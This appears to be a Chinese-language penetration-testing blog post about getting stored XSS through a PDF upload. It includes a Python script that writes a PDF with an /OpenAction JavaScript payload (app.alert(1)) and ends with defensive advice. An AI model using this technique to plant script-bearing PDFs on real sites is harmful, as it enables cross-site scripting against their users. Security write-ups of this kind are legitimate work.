大家好,我想分享一下我最近的渗透测试任务中的一个有趣的发现。在探索 Web 应用程序时,我偶然发现了商业应用程序的文件上传功能。
当然,我尝试上传各种文件类型,并尝试利用潜在的漏洞上传 PHP 文件,因为后端是用 PHP 编写的。不幸的是,我最初的尝试没有成功。
不过,我能够成功上传 PDF 文件。认识到这一点,我进行了一些在线研究,发现可以将 JavaScript 代码注入 PDF 文件中。
因此,我需要在 PDF 文件中进行注入,如果网站没有进行必要的检查,我们就有一个存储的 XSS 漏洞。网上搜索没找到简单的XSS PDF。所以我决定实现一个Python脚本。此 Python 脚本将 JavaScript 代码嵌入到 PDF 中,在本例中为app.alert(1)
.
以下是 Python 代码片段:
#<https://github.com/kaanatmacaa>
import sys
if sys.version_info[0] < 3:
raise SystemExit("Use Python 3 (or higher) only")
import io
import bz2
import base64
def create_malpdf1(filename):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (app.alert(1))
>> trailer <</Root 1 0 R>>''')
if __name__ == "__main__":
print("Creating PDF files..")
create_malpdf1("test.pdf")
print("Done!")
我目前正在开发一个更全面的工具,可以在我的 GitHub 帐户上找到该工具:https://github.com/kaanatmacaa。
创建 PDF 文件后,我将其上传到 Web 应用程序,然后 BOOM…存储的 XSS。
总之,用户和组织通常不会预见到 PDF 文档中存在恶意脚本。开发人员应在其应用程序中对其 PDF 文件实施强大的安全检查。此外,使用第三方 PDF 文件阅读器的组织应优先考虑使这些组件保持最新。
暂无评论内容